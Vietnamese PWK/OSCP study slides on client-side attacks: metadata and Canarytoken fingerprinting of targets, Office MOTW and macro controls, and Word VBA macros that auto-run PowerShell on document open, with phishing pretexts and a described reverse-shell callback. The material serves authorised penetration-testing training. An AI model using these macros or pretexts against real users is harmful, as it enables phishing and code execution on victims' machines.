S
PWK / OSCP· Tài Liệu Học Tập PWK
Mở đầuTài Liệu Học Tập PWK

Client-side Attacks

PWK / OSCP · CHƯƠNG 11

Client-side Attacks

Từ target reconnaissance và client fingerprinting đến Microsoft Office macros, Windows Library files và shortcut-based delivery.

MetadataFingerprintingMOTWVBA MacrosWebDAVLibrary-msLNK
Chỉ thực hành trong lab, hệ thống được ủy quyền hoặc môi trường đào tạo. Mọi hoạt động social engineering phải nằm trong Rules of Engagement.
11. Mở đầuTài Liệu Học Tập PWK

Bản đồ nội dung Chương 11

01

Target Reconnaissance

Tìm người dùng tiềm năng, tài liệu công khai, metadata và dấu vết phần mềm.

02

Client Fingerprinting

Thu thập hệ điều hành, browser, IP và đặc điểm thiết bị qua tracking token.

03

Microsoft Office

Hiểu MOTW, Protected View và xây macro VBA trong môi trường lab.

04

Windows Library Files

Dùng Library-ms, WebDAV và LNK làm chuỗi delivery hai giai đoạn.

Trọng tâmPayload chỉ thành công khi phù hợp với hệ điều hành, phần mềm, chính sách và hành vi của mục tiêu.
11. Mở đầuTài Liệu Học Tập PWK

Vì sao client-side attack quan trọng?

  • Client trong mạng nội bộ thường không có dịch vụ trực tiếp lộ ra Internet.
  • Phishing và credential attacks là những con đường phổ biến để vượt qua perimeter.
  • Client-side attack tận dụng chức năng hoặc điểm yếu trong browser, Office, Windows components và ứng dụng cục bộ.
  • Kỹ thuật này đòi hỏi cả kiến thức kỹ thuật, hiểu biết về môi trường doanh nghiệp và khả năng xây dựng pretext hợp lệ.
  • Mục tiêu của pentest là kiểm chứng rủi ro và cải thiện phòng thủ, không phải gây áp lực hoặc thao túng người dùng ngoài phạm vi.
Nguyên tắcMọi thông điệp, tài khoản giả lập, payload và nhóm người dùng mục tiêu phải được phê duyệt trước trong Rules of Engagement.
11. Mở đầuTài Liệu Học Tập PWK

Chuỗi client-side attack điển hình

01ReconXác định người dùng, vai trò, hệ điều hành và phần mềm.
02PretextTạo bối cảnh hợp lý gắn với công việc của mục tiêu.
03DeliveryEmail, link tải, website, file đính kèm hoặc USB theo phạm vi được duyệt.
04ExecutionNgười dùng mở file, click link hoặc chạy shortcut.
05CallbackPayload kết nối về hạ tầng kiểm thử trong lab hoặc assessment.
Khác biệtKhông giống network exploitation, client-side attack thường cần một hành động chủ động từ người dùng.
11. Mở đầuTài Liệu Học Tập PWK

Các cơ chế delivery được đề cập

MAIL

Email attachments

Tệp Office, Library-ms hoặc tài liệu được gửi trực tiếp.

LINK

Download links

Đưa file qua đường dẫn thay vì đính kèm để tránh một số bộ lọc.

WEB

Malicious websites

Trình duyệt hoặc script phía client kích hoạt chuỗi tấn công.

USB

USB dropping

Phương án vật lý, chỉ sử dụng khi phạm vi cho phép.

HOLE

Watering hole

Đặt nội dung trên website mà nhóm mục tiêu thường truy cập.

LNK

Shortcut files

Trỏ tới chương trình và tham số thực thi trên Windows.

11. Mở đầuTài Liệu Học Tập PWK

Kỹ thuật và yếu tố con người

Kỹ thuật

  • Hệ điều hành và kiến trúc CPU
  • Browser và phiên bản
  • Office / ứng dụng cài đặt
  • MOTW, macro policy, AV/EDR
  • Routing và callback path

Con người

  • Vai trò công việc
  • Quy trình nội bộ
  • Ngôn ngữ và văn phong
  • Mức độ tin cậy của người gửi
  • Thời điểm và tính hợp lý của yêu cầu
Ranh giới đạo đứcKhông mạo danh cơ quan thực thi pháp luật, đe dọa, tống tiền hoặc khai thác dữ liệu cá nhân ngoài phạm vi.
11.1 Target ReconnaissanceTài Liệu Học Tập PWK

Target Reconnaissance

Learning Unit 11.1

Target Reconnaissance

Thu thập dữ liệu công khai và fingerprint client để chọn attack vector phù hợp.

11.1 Target ReconnaissanceTài Liệu Học Tập PWK

Mục tiêu học tập

  • Thu thập thông tin để chuẩn bị client-side attack.
  • Xác định người dùng tiềm năng qua website, tài liệu công khai và social media.
  • Suy luận hệ điều hành, browser và ứng dụng cài đặt.
  • Dùng client fingerprinting để kiểm chứng giả thuyết trước khi chuẩn bị payload.
Khác với network reconTa thường không có kết nối trực tiếp đến client; cần cách tiếp cận gián tiếp, có chọn lọc và sáng tạo.
11.1 Target ReconnaissanceTài Liệu Học Tập PWK

Nguồn dữ liệu ban đầu

WEB

Website công ty

Trang liên hệ, đội ngũ, thông cáo, tài liệu tải xuống.

DOC

Tài liệu công khai

PDF, DOCX, PPTX và metadata bên trong.

SOC

Social media

Vai trò, chi nhánh, công nghệ và quan hệ công việc.

MAIL

Email patterns

Tên miền, quy tắc đặt địa chỉ và nhóm chức năng.

JOB

Job postings

Công nghệ, hệ điều hành và ứng dụng doanh nghiệp.

TOKEN

Fingerprint links

Kiểm chứng browser, OS, IP và khả năng thực thi JavaScript.

11.1 Target ReconnaissanceTài Liệu Học Tập PWK

Passive và active reconnaissance

Passive / hands-off

  • Không tương tác trực tiếp với máy mục tiêu
  • Ít để lại log và forensic trace
  • Metadata có thể tiết lộ phần mềm
  • Thông tin có thể cũ hoặc không đồng nhất

Active / interactive

  • Gobuster hoặc duyệt trực tiếp website
  • Tracking link cần mục tiêu click
  • Dữ liệu thường mới và cụ thể hơn
  • Có thể tạo log, alert hoặc bị phát hiện
Cân bằngƯu tiên nguồn ít gây nhiễu trước, sau đó dùng active validation theo phạm vi đã duyệt.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Metadata có thể tiết lộ gì?

  • Tên tác giả hoặc người tạo tài liệu.
  • Ngày tạo và ngày chỉnh sửa cuối.
  • Tên và phiên bản ứng dụng tạo file.
  • Hệ điều hành hoặc nền tảng được suy luận từ producer/creator tool.
  • Tên template, đường dẫn, printer, company hoặc custom properties.
  • Dấu vết có thể dùng để xây dựng profile phần mềm trong tổ chức.
Giới hạnMetadata có thể được làm sạch, tài liệu có thể cũ và mỗi chi nhánh có thể dùng bộ phần mềm khác nhau.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Quy trình khai thác metadata an toàn

01Tìm tài liệuDùng search engine hoặc website chính thức để tìm PDF/DOC/PPT.
02Tải bản saoLưu file và ghi lại URL, thời gian, checksum nếu cần.
03Phân tíchDùng exiftool với các tag thường và tag chưa biết.
04Đánh giá tuổiSo sánh Create Date, Modify Date và thời điểm công bố.
05Lập profileGhi tác giả, phần mềm, OS suy luận và mức độ tin cậy.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Khảo sát website mục tiêu

Figure 1: Mountain Vegetables Single Page Application
Figure 1 — Mountain Vegetables Single Page Application
  • Website đang phát triển nhưng vẫn công khai nội dung tải xuống.
  • Các nút, footer và brochure thường là nguồn tài liệu có metadata.
  • Không nên chỉ dựa vào menu; cần cuộn trang và kiểm tra các thành phần tương tác.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Tìm brochure công khai

Figure 2: Download PDF Brochure
Figure 2 — Download PDF Brochure
  • Brochure được mở trực tiếp trong Firefox và có thể tải về.
  • Tài liệu marketing thường do nhân viên nội bộ tạo bằng Office.
  • URL và tên file nên được ghi vào notes để tái hiện.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Phân tích brochure.pdf bằng ExifTool

Listing 1 — exiftool -a -u brochure.pdf
kali@kali:~$ cd Downloads 

kali@kali:~/Downloads$ exiftool -a -u brochure.pdf 
ExifTool Version Number         : 12.41
File Name                       : brochure.pdf
Directory                       : .
File Size                       : 303 KiB
File Modification Date/Time     : 2022:04:27 03:27:39-04:00
File Access Date/Time           : 2022:04:28 07:56:58-04:00
File Inode Change Date/Time     : 2022:04:28 07:56:58-04:00
File Permissions                : -rw-------
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 4
Language                        : en-US
Tagged PDF                      : Yes
XMP Toolkit                     : Image::ExifTool 12.41
Creator                         : Stanley Yelnats
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Create Date                     : 2022:04:27 07:34:01+02:00
Creator Tool                    : Microsoft® PowerPoint® for Microsoft 365
Modify Date                     : 2022:04:27 07:34:01+02:00
Document ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Instance ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Create Date                     : 2022:04:27 07:34:01+02:00
Modify Date                     : 2022:04:27 07:34:01+02:00
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Creator                         : Stanley Yelnats
  • Creator/Author: Stanley Yelnats.
  • Producer và Creator Tool: Microsoft PowerPoint for Microsoft 365.
  • Create/Modify Date giúp đánh giá độ mới của dữ liệu.
  • Không có dấu hiệu “for Mac”, vì vậy Windows là giả thuyết hợp lý nhưng vẫn cần xác minh.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Cách đọc kết quả ExifTool

DATE

Create / Modify Date

Đánh giá dữ liệu mới hay đã lỗi thời.

AUTHOR

Author / Creator

Xác định nhân viên, nhóm hoặc người có thể được nhắc trong pretext.

TOOL

Creator Tool

Suy luận Microsoft Office, Adobe, LibreOffice hoặc ứng dụng khác.

OS

Platform clues

Tìm “macOS”, “for Mac”, Windows-specific producer hoặc path.

DOC

Document IDs

Dùng để phân biệt bản sao hoặc phiên bản tài liệu.

TRUST

Confidence

Gắn mức tin cậy thay vì coi mọi tag là sự thật tuyệt đối.

11.1.1 Information GatheringTài Liệu Học Tập PWK

Kết luận đúng và kết luận quá mức

Kết luận hợp lý

  • Tổ chức có khả năng sử dụng Microsoft 365
  • Tài liệu có vẻ tương đối mới
  • Tác giả có thể là nhân viên nội bộ
  • Windows là giả thuyết cần xác minh

Không nên khẳng định

  • Mọi nhân viên đều dùng cùng phiên bản Office
  • Tác giả chắc chắn đang dùng đúng máy đó
  • Macro policy cho phép thực thi
  • AV/EDR không chặn payload
Nguyên tắcMetadata tạo giả thuyết; fingerprinting hoặc dữ liệu khác dùng để tăng độ tin cậy.
11.1.1 Information GatheringTài Liệu Học Tập PWK

Checklist ghi notes cho tài liệu công khai

URL nguồn và ngày truy cập.
Tên file, loại file và kích thước.
Create Date, Modify Date và timezone.
Author, Creator, Producer và Creator Tool.
OS/application được suy luận và mức độ tin cậy.
Bất kỳ dữ liệu cá nhân nào phải được xử lý theo ROE và quy định bảo mật.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Client Fingerprinting

Learning Objective 11.1.2

Client Fingerprinting

Dùng tracking token và JavaScript fingerprinting để kiểm chứng OS, browser và IP của mục tiêu.

11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Mục tiêu của fingerprinting

  • Xác nhận mục tiêu đang chạy Windows hay hệ điều hành khác.
  • Xác định browser và kiến trúc có thể hỗ trợ attack vector đã chọn.
  • Thu thập IP công khai, vị trí tương đối và tổ chức mạng.
  • Phân biệt dữ liệu từ User-Agent với dữ liệu đo trực tiếp bằng JavaScript.
  • Tránh chuẩn bị payload không tương thích với client.
Ví dụ trong tài liệuHTA phù hợp hơn khi Internet Explorer hoặc Microsoft Edge có thể thực thi ngữ cảnh liên quan; Chrome trên Windows có thể yêu cầu vector khác.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Pretext phải gắn với vai trò công việc

FIN

Finance

“Hóa đơn có sai lệch, vui lòng xem ảnh đánh dấu lỗi.”

HR

Human Resources

“Biểu mẫu hoặc lịch phỏng vấn cần xác nhận.”

IT

IT Support

“Kiểm tra cấu hình hoặc hướng dẫn nội bộ.”

OPS

Operations

“Cập nhật quy trình, lịch giao hàng hoặc dashboard.”

Điều kiệnPretext chỉ được sử dụng với nhóm người dùng và nội dung đã được khách hàng phê duyệt.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Quy trình Canarytoken

01Chọn tokenWeb bug / URL token hoặc định dạng phù hợp.
02Cấu hình alertEmail hoặc webhook nhận sự kiện.
03Tạo linkGắn comment để phân biệt chiến dịch.
04DeliveryĐưa link vào pretext đã duyệt.
05Phân tíchXem lịch sử, User-Agent, browser data và IP.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Canarytokens — trang khởi tạo

Figure 3: Canarytokens Landing Page
Figure 3 — Canarytokens Landing Page
  • Dịch vụ cho phép tạo nhiều loại tracking token.
  • Trong assessment thực tế cần cân nhắc dữ liệu được gửi tới dịch vụ bên thứ ba.
  • Có thể thay bằng hạ tầng tự quản nếu yêu cầu bảo mật cao.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Cấu hình Web bug / URL token

Figure 4: Enter example.com in web form
Figure 4 — Enter example.com in web form
  • Chọn loại token phù hợp.
  • Cấu hình webhook hoặc email alert.
  • Comment giúp nhận biết mục đích và chiến dịch.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Tracking link đã hoạt động

Figure 5: Active Canarytoken
Figure 5 — Active Canarytoken
  • Link được tạo để đưa vào pretext.
  • Trang cũng gợi ý các cách đặt token vào nội dung.
  • Không click thử bằng môi trường thật nếu chưa muốn tạo event nhiễu.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Quản lý token

Figure 6: Management of Canarytoken
Figure 6 — Management of Canarytoken
  • Có thể kiểm tra trạng thái và thay đổi cấu hình.
  • Token chưa trigger ngay sau khi tạo là trạng thái bình thường.
  • Ghi lại identifier và mục đích trong campaign notes.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Lịch sử sự kiện ban đầu

Figure 7: Canarytoken History
Figure 7 — Canarytoken History
  • Danh sách trống trước khi mục tiêu mở link.
  • Sau mỗi event cần đối chiếu thời gian với campaign activity.
  • Không nên mặc định mọi event đều đến từ mục tiêu; có thể là scanner hoặc sandbox.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Token được kích hoạt

Figure 8: Canarytoken with Entry
Figure 8 — Canarytoken with Entry
  • Một entry mới xuất hiện khi link được mở.
  • Email security gateway hoặc automated scanner cũng có thể kích hoạt token.
  • Cần xem User-Agent, timing và nhiều tín hiệu khác để phân biệt.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Chi tiết entry

Figure 9: Detailed Information of Canarytoken Entry
Figure 9 — Detailed Information of Canarytoken Entry
  • Hiển thị IP, vị trí tương đối, tổ chức và User-Agent.
  • User-Agent có thể bị sửa hoặc giả mạo.
  • Không dùng geolocation để suy luận danh tính cá nhân.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Thông tin browser từ JavaScript

Figure 10: Detailed Browser Information
Figure 10 — Detailed Browser Information
  • JavaScript fingerprinting có thể cung cấp dữ liệu chính xác hơn User-Agent.
  • Kết quả trong ví dụ gợi ý Chrome trên Windows.
  • Browser extensions, privacy mode và anti-fingerprinting có thể làm sai lệch dữ liệu.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Các định dạng token khác

Figure 11: Other Canarytoken Methods
Figure 11 — Other Canarytoken Methods
  • Token có thể nhúng trong Word, PDF hoặc image.
  • Mỗi định dạng có hành vi trigger và rủi ro riêng.
  • Dịch vụ bên thứ ba phải được khách hàng chấp thuận trước khi gửi dữ liệu.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

User-Agent và JavaScript fingerprinting

User-Agent

  • Dễ thu thập
  • Cho biết OS/browser sơ bộ
  • Có thể bị chỉnh sửa
  • Scanner có thể dùng UA giả

JavaScript data

  • Có nhiều đặc điểm runtime hơn
  • Thường cụ thể hơn UA
  • Có thể bị chặn bởi privacy controls
  • Cần mục tiêu thực thi JavaScript
Đánh giáKết hợp nhiều tín hiệu và ghi mức độ tin cậy thay vì chỉ dựa vào một trường.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Các lựa chọn thay thế

GRAB

IP logger

Grabify hoặc giải pháp tương tự; cần cân nhắc privacy và bên thứ ba.

FPJS

fingerprint.js

Thư viện JavaScript tự nhúng vào hạ tầng kiểm thử.

DOC

Document token

Nhúng token trong Word/PDF để biết khi file được mở.

IMG

Image beacon

Theo dõi khi email hoặc trang tải hình ảnh.

11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Từ fingerprint đến quyết định attack vector

01Xác minh OSWindows, macOS, Linux hay mobile.
02Xác minh browserChrome, Edge, Firefox và khả năng script.
03Đối chiếu metadataOffice và ứng dụng đã suy luận trước đó.
04Chọn vectorMacro, Library-ms, browser vector hoặc vector khác.
05Điều chỉnh pretextKhông ép vector không phù hợp với môi trường thực tế.
Kết quả ví dụChrome trên Windows không đủ để khẳng định IE/Edge có thể dùng cho HTA; cần vector khác hoặc thêm bước xác minh.
11.1.2 Client FingerprintingTài Liệu Học Tập PWK

Checklist fingerprint campaign

Nhóm mục tiêu và pretext đã được phê duyệt.
Tracking domain/hạ tầng đã được allowlist nếu cần.
Phân biệt event từ scanner với event người dùng.
Ghi User-Agent, JavaScript data, IP và timestamp.
Không thu thập hoặc giữ dữ liệu cá nhân vượt quá nhu cầu assessment.
Dùng kết quả để chọn vector, không dùng để gây áp lực cho người dùng.
11.2 Exploiting Microsoft OfficeTài Liệu Học Tập PWK

Exploiting Microsoft Office

Learning Unit 11.2

Exploiting Microsoft Office

Hiểu delivery constraints, MOTW, Protected View và cách macro VBA dẫn đến code execution trong lab.

11.2 Exploiting Microsoft OfficeTài Liệu Học Tập PWK

Mục tiêu học tập

  • Hiểu các biến thể và giới hạn của Microsoft Office client-side attacks.
  • Nhận diện tác động của MOTW, Protected View và chính sách block macros.
  • Cài đặt và cấu hình Microsoft Office trong lab.
  • Tạo macro VBA, tự động gọi procedure khi mở document và kiểm chứng execution.
  • Mở rộng từ lệnh đơn giản sang callback trong môi trường đào tạo.
Bối cảnhOffice phổ biến và tài liệu thường xuyên được trao đổi, nhưng các hệ thống email và endpoint hiện đại kiểm tra vector này rất chặt.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Ba cân nhắc trước khi dùng Office document

Delivery

  • Email attachment dễ bị lọc
  • Link tải có thể phù hợp hơn
  • Pretext cần hợp lý
  • Loại file ảnh hưởng khả năng chứa macro

Execution controls

  • MOTW
  • Protected View
  • Enable Editing / Enable Content
  • Macro policy và GPO
  • AV/EDR và sandbox
Thực tếMột macro đúng về kỹ thuật vẫn thất bại nếu file không tới được người dùng hoặc không được phép chạy.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Tại sao email attachment khó thành công?

SPAM

Spam filters

Chặn hoặc quarantine Office documents và macro-enabled files.

SCAN

Attachment scanners

Mở file trong sandbox và phân tích macro.

AWARE

User training

Người dùng được hướng dẫn không bật macro từ email.

MOTW

Mark of the Web

Gắn nguồn Internet và kích hoạt cơ chế bảo vệ của Office.

POL

Enterprise policy

GPO có thể vô hiệu hóa macro hoặc chỉ cho phép signed macros.

EDR

Endpoint controls

Theo dõi child process như Word → PowerShell.

11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Mark of the Web (MOTW)

  • File tải từ Internet hoặc nhận qua một số kênh có thể được gắn Zone.Identifier.
  • Office dùng MOTW để quyết định mở file trong Protected View.
  • Protected View hạn chế chỉnh sửa, embedded objects và macro execution.
  • Trạng thái MOTW phụ thuộc nguồn tải, file system, công cụ đóng gói và cách file được chuyển.
  • Không nên giả định MOTW sẽ có hoặc không có; cần tái hiện đúng delivery path trong lab.
Kiểm thử đúngĐừng chỉ copy file trực tiếp giữa máy lab rồi kết luận về hành vi của file tải từ Internet.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Protected View trong Microsoft Office

Figure 12: Protected View in action
Figure 12 — Protected View in action
  • Document mở ở chế độ chỉ đọc và hiển thị cảnh báo.
  • Enable Editing là bước người dùng phải chủ động thực hiện.
  • Nội dung lừa người dùng “mở khóa” tài liệu là một kỹ thuật social engineering cần được kiểm soát chặt trong assessment.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Protected View không phải toàn bộ câu chuyện

EDIT

Enable Editing

Thoát Protected View nhưng chưa chắc macro được phép chạy.

CONTENT

Enable Content

Cơ chế cũ cho phép bật macro bằng một nút.

BLOCK

Macros blocked

Phiên bản mới có thể chặn macro từ Internet mặc định.

UNBLOCK

File Properties

Người dùng phải Unblock file trong properties ở một số cấu hình.

PUB

Publisher

Publisher có thể có hành vi khác nhưng không phổ biến.

SIGN

Signed macros

Một số tổ chức chỉ cho phép macro ký số hoặc trusted location.

11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Cơ chế Enable Content trước đây

Figure 13: Possibility to execute Macros by clicking one Button
Figure 13 — Possibility to execute Macros by clicking one Button
  • Macro có thể được kích hoạt trực tiếp qua banner.
  • Đây là hành vi cũ hoặc phụ thuộc channel/version/policy.
  • Khi mô phỏng cần ghi rõ phiên bản Office và policy.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Thông báo block macro mới

Figure 14: Changed message after opening the document
Figure 14 — Changed message after opening the document
  • Thông báo nghiêm trọng hơn và không còn nút Enable Content đơn giản.
  • Người dùng được dẫn tới tài liệu giải thích rủi ro.
  • Attack path có thể yêu cầu Unblock file hoặc trusted location — làm giảm xác suất thành công.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Decision tree khi document đến client

01File được deliveryEmail, browser download hoặc share.
02MOTW?Kiểm tra Zone.Identifier và nguồn file.
03Protected View?Document có mở ở chế độ bảo vệ không?
04Macro policy?Blocked, disabled, signed-only hay user-controlled?
05Endpoint detectionWord có bị chặn khi spawn PowerShell hoặc WScript không?
Ghi nhậnMỗi bước là một control riêng; báo cáo cần nêu control nào đã ngăn chặn hoặc bị vượt qua.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Tấn công và phòng thủ phát triển song song

Defender evolution

  • Block macros from Internet
  • Attachment sandboxing
  • AMSI / EDR
  • Attack Surface Reduction rules
  • User awareness

Attacker adaptation

  • Đổi delivery path
  • Dùng file type khác
  • Living-off-the-land
  • Obfuscation
  • Chuỗi nhiều giai đoạn
Bài họcKhông xem cơ chế phòng thủ mới là “hết đường”; hãy đánh giá thực tế và tìm cách kiểm thử an toàn, đúng phạm vi.
11.2.1 Preparing the AttackTài Liệu Học Tập PWK

Checklist chuẩn bị Office scenario

Phiên bản và channel Office của target.
File type: .doc, .docm, .docx hoặc định dạng khác.
Delivery path có tạo MOTW hay không.
Macro policy, trusted location và signed macro policy.
Email gateway, sandbox, AV/EDR và ASR rules.
Pretext, nhóm người dùng và giới hạn hành vi đã được duyệt.
11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Installing Microsoft Office

Lab Preparation

Installing Microsoft Office

Chuẩn bị máy OFFICE để tái hiện chính xác hành vi của Microsoft Word và macro.

11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Kết nối máy OFFICE bằng RDP

  • Windows 11 bật Network Level Authentication (NLA) theo mặc định.
  • Máy OFFICE không domain-joined nên rdesktop có thể không kết nối được.
  • xfreerdp hỗ trợ NLA cho non-domain-joined systems.
  • Sau khi kết nối, mount Office2019.img và chạy Setup.exe.
  • Ghi lại phiên bản Office và trạng thái trial để kết quả có thể tái hiện.
Lab noteThông tin đăng nhập và IP phải lấy từ environment được cấp; không tái sử dụng trên hệ thống khác.
11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Khởi chạy Office 2019 installer

Figure 15: Microsoft Office 2019 installer
Figure 15 — Microsoft Office 2019 installer
  • ISO được mount như virtual CD.
  • Setup.exe bắt đầu quá trình cài đặt.
  • Ảnh chụp nên ghi lại phiên bản và trạng thái installer.
11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Bỏ qua Product Key popup

Figure 16: Product Key popup
Figure 16 — Product Key popup
  • Đóng popup để bắt đầu trial trong lab.
  • Trạng thái licensing có thể ảnh hưởng một số tính năng.
  • Không dùng bản cài đặt không được cấp phép ngoài lab.
11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Chấp nhận license agreement

Figure 17: License Agreement
Figure 17 — License Agreement
  • Hoàn tất bước cấu hình ban đầu.
  • Ghi lại lựa chọn có thể ảnh hưởng telemetry hoặc update channel.
  • Kết quả macro nên được thử lại sau khi Office update.
11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Thiết lập privacy

Figure 18: Privacy Settings
Figure 18 — Privacy Settings
  • Chọn không gửi optional data trong lab theo hướng dẫn.
  • Privacy settings không thay thế macro security policy.
  • Sau khi hoàn tất, mở Word và kiểm tra danh sách ứng dụng Office đã cài.
11.2.2 Installing Microsoft OfficeTài Liệu Học Tập PWK

Lab readiness checklist

RDP hoạt động qua xfreerdp.
Office 2019 cài đặt thành công.
Microsoft Word mở được và trial hoạt động.
Macro settings và Protected View được ghi lại.
Kali callback IP, web server port và listener port đã xác định.
Snapshot VM trước khi thay đổi policy hoặc test payload.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Leveraging Microsoft Word Macros

Learning Objective 11.2.3

Leveraging Microsoft Word Macros

Từ macro VBA trống đến tự động thực thi và callback trong môi trường lab.

11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

VBA macro là gì?

VBA

Visual Basic for Applications

Ngôn ngữ scripting tích hợp trong Office.

SUB

Sub procedure

Khối lệnh không trả về giá trị.

OBJ

ActiveX objects

Cho phép truy cập COM objects và chức năng hệ điều hành.

WSH

Windows Script Host

Cung cấp WScript.Shell để chạy chương trình.

AUTO

AutoOpen

Procedure đặc biệt được gọi khi document mở trong một số trường hợp.

DOC

Document_Open

Event bổ sung để bao phủ cách mở document khác.

11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Chọn định dạng document

  • .doc có thể lưu macro nhúng trực tiếp.
  • .docm là định dạng macro-enabled hiện đại.
  • .docx không lưu macro nhúng theo cách tương tự nếu không dùng template/container phù hợp.
  • Tên file và delivery path ảnh hưởng warning/MOTW behavior.
  • Trong assessment cần dùng nội dung benign, rõ ràng và giới hạn tác động.
Không chỉ extensionSecurity products kiểm tra content, macro stream, behavior và child process chứ không chỉ tên file.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Lưu document dưới dạng .doc

Figure 19: Saving Document as .doc
Figure 19 — Saving Document as .doc
  • Định dạng .doc được chọn để macro tồn tại trong document.
  • .docm cũng là lựa chọn phù hợp.
  • Ghi rõ file type trong evidence và report.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Mở Macro menu

Figure 20: Macro Menu in View Ribbon
Figure 20 — Macro Menu in View Ribbon
  • Macro menu nằm trong tab View.
  • Có thể xem, chạy, tạo và chỉnh sửa macro.
  • Trong môi trường doanh nghiệp menu này có thể bị policy hạn chế.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Tạo MyMacro trong document

Figure 21: Create a macro for the current document
Figure 21 — Create a macro for the current document
  • Chọn đúng document trong “Macros in”.
  • Đặt tên MyMacro và nhấn Create.
  • Nếu lưu vào Normal.dotm thay vì document, macro sẽ không đi cùng file.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

VBA Macro Editor

Figure 22: Macro Editor
Figure 22 — Macro Editor
  • Editor hiển thị procedure skeleton.
  • Dòng bắt đầu bằng apostrophe là comment.
  • Code được lưu khi document hỗ trợ macro và được Save.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Macro trống mặc định

Listing 2 — Default empty macro
Sub MyMacro()
'
' MyMacro Macro
'
'

End Sub
  • Sub MyMacro() mở procedure.
  • End Sub kết thúc procedure.
  • Các dòng comment không thực thi.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Gọi PowerShell qua WScript.Shell

Listing 3 — Macro opening powershell.exe
Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"
  
End Sub
  • CreateObject tạo COM object Wscript.Shell.
  • Run khởi chạy chương trình trên client.
  • Word spawning PowerShell là hành vi dễ bị EDR/ASR phát hiện.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Tự động gọi MyMacro khi mở document

Listing 4 — AutoOpen và Document_Open
Sub AutoOpen()

  MyMacro
  
End Sub

Sub Document_Open()

  MyMacro
  
End Sub

Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"
  
End Sub
  • AutoOpen và Document_Open gọi cùng procedure.
  • Hai entry point giúp bao phủ nhiều cách mở document.
  • Macro vẫn phụ thuộc user consent và security policy.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Macro Security Warning

Figure 23: Microsoft Word Macro Security Warning
Figure 23 — Microsoft Word Macro Security Warning
  • Macro bị disable mặc định trong cấu hình ví dụ.
  • Người dùng phải chọn Enable Content.
  • Trong Office mới, file từ Internet có thể bị block mạnh hơn.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

PowerShell được khởi chạy

Figure 24: Enabled Macro started a PowerShell window
Figure 24 — Enabled Macro started a PowerShell window
  • Chứng minh code execution cơ bản từ macro.
  • Bằng chứng nên gồm document, warning, process tree và callback log.
  • Không cần payload phá hoại để chứng minh impact.
11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Từ proof-of-concept đến callback

VAR

String variable

Lưu command dài trong biến VBA.

B64

Base64

Giảm vấn đề ký tự đặc biệt trong PowerShell command.

SPLIT

Chunking

Vượt giới hạn 255 ký tự của literal string.

WEB

HTTP server

Phục vụ powercat.ps1 trong lab.

LISTEN

Netcat listener

Nhận callback trên port đã chọn.

EVID

Evidence

Ghi GET request, listener và identity của shell.

11.2.3 Leveraging Microsoft Word MacrosTài Liệu Học Tập PWK

Khai báo biến Str

Listing 5 — String variable
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    CreateObject("Wscript.Shell").Run Str
End Sub
  • Dim Str As String tạo biến chứa command.
  • Run nhận nội dung của biến thay vì literal ngắn.
